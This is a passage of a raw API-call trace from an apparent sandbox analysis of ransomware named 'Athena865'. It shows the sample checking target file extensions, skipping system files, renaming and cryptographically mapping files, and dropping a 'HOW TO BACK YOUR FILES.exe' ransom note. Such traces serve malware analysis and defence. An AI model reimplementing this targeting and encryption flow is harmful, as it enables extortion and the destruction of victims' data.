[0047.044] lstrlenW (lpString="ask") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0047.044] lstrlenW (lpString="btr") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0047.044] lstrlenW (lpString="cat") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0047.044] lstrlenW (lpString="cdb") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0047.044] lstrlenW (lpString="ckp") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0047.044] lstrlenW (lpString="cma") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0047.044] lstrlenW (lpString="cpd") returned 3 [0047.044] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0047.044] lstrlenW (lpString="dacpac") returned 6 [0047.044] lstrcmpiW (lpString1="is.DLL", lpString2="dacpac") returned 1 [0047.045] lstrlenW (lpString="dad") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0047.045] lstrlenW (lpString="dadiagrams") returned 10 [0047.045] lstrlenW (lpString="daschema") returned 8 [0047.045] lstrcmpiW (lpString1="pvis.DLL", lpString2="daschema") returned 1 [0047.045] lstrlenW (lpString="db-journal") returned 10 [0047.045] lstrlenW (lpString="db-shm") returned 6 [0047.045] lstrcmpiW (lpString1="is.DLL", lpString2="db-shm") returned 1 [0047.045] lstrlenW (lpString="db-wal") returned 6 [0047.045] lstrcmpiW (lpString1="is.DLL", lpString2="db-wal") returned 1 [0047.045] lstrlenW (lpString="dbc") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0047.045] lstrlenW (lpString="dbs") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0047.045] lstrlenW (lpString="dbt") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0047.045] lstrlenW (lpString="dbv") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0047.045] lstrlenW (lpString="dbx") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0047.045] lstrlenW (lpString="dcb") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0047.045] lstrlenW (lpString="dct") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0047.045] lstrlenW (lpString="dcx") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0047.045] lstrlenW (lpString="ddl") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0047.045] lstrlenW (lpString="dlis") returned 4 [0047.045] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0047.045] lstrlenW (lpString="dp1") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0047.045] lstrlenW (lpString="dqy") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0047.045] lstrlenW (lpString="dsk") returned 3 [0047.045] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0047.046] lstrlenW (lpString="dsn") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0047.046] lstrlenW (lpString="dtsx") returned 4 [0047.046] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0047.046] lstrlenW (lpString="dxl") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0047.046] lstrlenW (lpString="eco") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0047.046] lstrlenW (lpString="ecx") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0047.046] lstrlenW (lpString="edb") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0047.046] lstrlenW (lpString="epim") returned 4 [0047.046] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0047.046] lstrlenW (lpString="fcd") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0047.046] lstrlenW (lpString="fdb") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0047.046] lstrlenW (lpString="fic") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0047.046] lstrlenW (lpString="flexolibrary") returned 12 [0047.046] lstrlenW (lpString="fm5") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0047.046] lstrlenW (lpString="fmp") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0047.046] lstrlenW (lpString="fmp12") returned 5 [0047.046] lstrcmpiW (lpString1="s.DLL", lpString2="fmp12") returned 1 [0047.046] lstrlenW (lpString="fmpsl") returned 5 [0047.046] lstrcmpiW (lpString1="s.DLL", lpString2="fmpsl") returned 1 [0047.046] lstrlenW (lpString="fol") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0047.046] lstrlenW (lpString="fp3") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0047.046] lstrlenW (lpString="fp4") returned 3 [0047.046] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0047.047] lstrlenW (lpString="fp5") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0047.047] lstrlenW (lpString="fp7") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0047.047] lstrlenW (lpString="fpt") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0047.047] lstrlenW (lpString="frm") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0047.047] lstrlenW (lpString="gdb") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0047.047] lstrlenW (lpString="gdb") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0047.047] lstrlenW (lpString="grdb") returned 4 [0047.047] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0047.047] lstrlenW (lpString="gwi") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0047.047] lstrlenW (lpString="hdb") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0047.047] lstrlenW (lpString="his") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0047.047] lstrlenW (lpString="ib") returned 2 [0047.047] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0047.047] lstrlenW (lpString="idb") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0047.047] lstrlenW (lpString="ihx") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0047.047] lstrlenW (lpString="itdb") returned 4 [0047.047] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0047.047] lstrlenW (lpString="itw") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0047.047] lstrlenW (lpString="jet") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0047.047] lstrlenW (lpString="jtx") returned 3 [0047.047] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0047.047] lstrlenW (lpString="kdb") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0047.048] lstrlenW (lpString="kexi") returned 4 [0047.048] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0047.048] lstrlenW (lpString="kexic") returned 5 [0047.048] lstrcmpiW (lpString1="s.DLL", lpString2="kexic") returned 1 [0047.048] lstrlenW (lpString="kexis") returned 5 [0047.048] lstrcmpiW (lpString1="s.DLL", lpString2="kexis") returned 1 [0047.048] lstrlenW (lpString="lgc") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0047.048] lstrlenW (lpString="lwx") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0047.048] lstrlenW (lpString="maf") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0047.048] lstrlenW (lpString="maq") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0047.048] lstrlenW (lpString="mar") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0047.048] lstrlenW (lpString="marshal") returned 7 [0047.048] lstrcmpiW (lpString1="vis.DLL", lpString2="marshal") returned 1 [0047.048] lstrlenW (lpString="mas") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0047.048] lstrlenW (lpString="mav") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0047.048] lstrlenW (lpString="maw") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0047.048] lstrlenW (lpString="mdbhtml") returned 7 [0047.048] lstrcmpiW (lpString1="vis.DLL", lpString2="mdbhtml") returned 1 [0047.048] lstrlenW (lpString="mdn") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0047.048] lstrlenW (lpString="mdt") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0047.048] lstrlenW (lpString="mfd") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0047.048] lstrlenW (lpString="mpd") returned 3 [0047.048] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0047.048] lstrlenW (lpString="mrg") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0047.049] lstrlenW (lpString="mud") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0047.049] lstrlenW (lpString="mwb") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0047.049] lstrlenW (lpString="myd") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0047.049] lstrlenW (lpString="ndf") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0047.049] lstrlenW (lpString="nnt") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0047.049] lstrlenW (lpString="nrmlib") returned 6 [0047.049] lstrcmpiW (lpString1="is.DLL", lpString2="nrmlib") returned -1 [0047.049] lstrlenW (lpString="ns2") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0047.049] lstrlenW (lpString="ns3") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0047.049] lstrlenW (lpString="ns4") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0047.049] lstrlenW (lpString="nsf") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0047.049] lstrlenW (lpString="nv") returned 2 [0047.049] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0047.049] lstrlenW (lpString="nv2") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0047.049] lstrlenW (lpString="nwdb") returned 4 [0047.049] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0047.049] lstrlenW (lpString="nyf") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0047.049] lstrlenW (lpString="odb") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0047.049] lstrlenW (lpString="odb") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0047.049] lstrlenW (lpString="oqy") returned 3 [0047.049] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0047.049] lstrlenW (lpString="ora") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0047.050] lstrlenW (lpString="orx") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0047.050] lstrlenW (lpString="owc") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0047.050] lstrlenW (lpString="p96") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0047.050] lstrlenW (lpString="p97") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0047.050] lstrlenW (lpString="pan") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0047.050] lstrlenW (lpString="pdb") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0047.050] lstrlenW (lpString="pdm") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0047.050] lstrlenW (lpString="pnz") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0047.050] lstrlenW (lpString="qry") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0047.050] lstrlenW (lpString="qvd") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0047.050] lstrlenW (lpString="rbf") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0047.050] lstrlenW (lpString="rctd") returned 4 [0047.050] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0047.050] lstrlenW (lpString="rod") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0047.050] lstrlenW (lpString="rodx") returned 4 [0047.050] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0047.050] lstrlenW (lpString="rpd") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0047.050] lstrlenW (lpString="rsd") returned 3 [0047.050] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0047.050] lstrlenW (lpString="sas7bdat") returned 8 [0047.050] lstrcmpiW (lpString1="pvis.DLL", lpString2="sas7bdat") returned -1 [0047.050] lstrlenW (lpString="sbf") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0047.051] lstrlenW (lpString="scx") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0047.051] lstrlenW (lpString="sdb") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0047.051] lstrlenW (lpString="sdc") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0047.051] lstrlenW (lpString="sdf") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0047.051] lstrlenW (lpString="sis") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0047.051] lstrlenW (lpString="spq") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0047.051] lstrlenW (lpString="te") returned 2 [0047.051] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0047.051] lstrlenW (lpString="teacher") returned 7 [0047.051] lstrcmpiW (lpString1="vis.DLL", lpString2="teacher") returned 1 [0047.051] lstrlenW (lpString="tmd") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0047.051] lstrlenW (lpString="tps") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0047.051] lstrlenW (lpString="trc") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0047.051] lstrlenW (lpString="trc") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0047.051] lstrlenW (lpString="trm") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0047.051] lstrlenW (lpString="udb") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0047.051] lstrlenW (lpString="udl") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0047.051] lstrlenW (lpString="usr") returned 3 [0047.051] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0047.060] lstrlenW (lpString="v12") returned 3 [0047.060] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0047.060] lstrlenW (lpString="vis") returned 3 [0047.060] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0047.060] lstrlenW (lpString="vpd") returned 3 [0047.060] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0047.060] lstrlenW (lpString="vvv") returned 3 [0047.060] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0047.060] lstrlenW (lpString="wdb") returned 3 [0047.060] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0047.060] lstrlenW (lpString="wmdb") returned 4 [0047.061] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0047.061] lstrlenW (lpString="wrk") returned 3 [0047.061] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0047.061] lstrlenW (lpString="xdb") returned 3 [0047.061] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0047.061] lstrlenW (lpString="xld") returned 3 [0047.061] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0047.061] lstrlenW (lpString="xmlff") returned 5 [0047.061] lstrcmpiW (lpString1="s.DLL", lpString2="xmlff") returned -1 [0047.061] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL.Athena865") returned 63 [0047.061] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" (normalized: "c:\\program files (x86)\\windows media player\\mpvis.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\mpvis.dll.athena865"), dwFlags=0x1) returned 1 [0047.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\mpvis.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0047.062] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=154112) returned 1 [0047.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.062] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.063] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.063] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.063] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25d00, lpName=0x0) returned 0x154 [0047.064] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25d00) returned 0x170000 [0047.104] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.105] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.105] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0047.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0047.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0047.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0047.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.106] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0047.107] CloseHandle (hObject=0x154) returned 1 [0047.107] CloseHandle (hObject=0x17c) returned 1 [0047.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.108] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2=".") returned 1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="..") returned 1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="windows") returned -1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="bootmgr") returned 1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="temp") returned -1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="pagefile.sys") returned -1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="boot") returned 1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="ids.txt") returned 1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="ntuser.dat") returned -1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="perflogs") returned -1 [0047.108] lstrcmpiW (lpString1="Network Sharing", lpString2="MSBuild") returned 1 [0047.108] lstrlenW (lpString="Network Sharing") returned 15 [0047.108] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Network Sharing" | out: lpString1="Network Sharing") returned="Network Sharing" [0047.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5309c8 [0047.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x501e28 [0047.108] lstrcatW (in: lpString1="Network Sharing", lpString2="\\" | out: lpString1="Network Sharing\\") returned="Network Sharing\\" [0047.109] lstrcatW (in: lpString1="Network Sharing\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Network Sharing\\HOW TO BACK YOUR FILES.exe") returned="Network Sharing\\HOW TO BACK YOUR FILES.exe" [0047.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\network sharing\\how to back your files.exe"), bFailIfExists=1) returned 1 [0047.111] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e72dbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e72dbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e98f1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="..") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="windows") returned -1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="bootmgr") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="temp") returned -1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="pagefile.sys") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="boot") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="ids.txt") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="ntuser.dat") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="perflogs") returned 1 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2="MSBuild") returned 1 [0047.111] lstrlenW (lpString="setup_wm.exe") returned 12 [0047.111] lstrcpyW (in: lpString1=0x241e8a0, lpString2="setup_wm.exe" | out: lpString1="setup_wm.exe") returned="setup_wm.exe" [0047.111] lstrlenW (lpString="setup_wm.exe") returned 12 [0047.111] lstrlenW (lpString="Athena865") returned 9 [0047.111] lstrcmpiW (lpString1="up_wm.exe", lpString2="Athena865") returned 1 [0047.111] lstrlenW (lpString=".dll") returned 4 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".dll") returned 1 [0047.111] lstrlenW (lpString=".lnk") returned 4 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".lnk") returned 1 [0047.111] lstrlenW (lpString=".ini") returned 4 [0047.111] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".ini") returned 1 [0047.111] lstrlenW (lpString=".sys") returned 4 [0047.112] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".sys") returned 1 [0047.112] lstrlenW (lpString="setup_wm.exe") returned 12 [0047.112] lstrlenW (lpString="bak") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0047.112] lstrlenW (lpString="ba_") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0047.112] lstrlenW (lpString="dbb") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0047.112] lstrlenW (lpString="vmdk") returned 4 [0047.112] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0047.112] lstrlenW (lpString="rar") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0047.112] lstrlenW (lpString="zip") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0047.112] lstrlenW (lpString="tgz") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0047.112] lstrlenW (lpString="vbox") returned 4 [0047.112] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0047.112] lstrlenW (lpString="vdi") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0047.112] lstrlenW (lpString="vhd") returned 3 [0047.112] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0047.112] lstrlenW (lpString="vhdx") returned 4 [0047.112] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0047.112] lstrlenW (lpString="avhd") returned 4 [0047.112] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0047.112] lstrlenW (lpString="db") returned 2 [0047.112] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0047.112] lstrlenW (lpString="db2") returned 3 [0047.112] 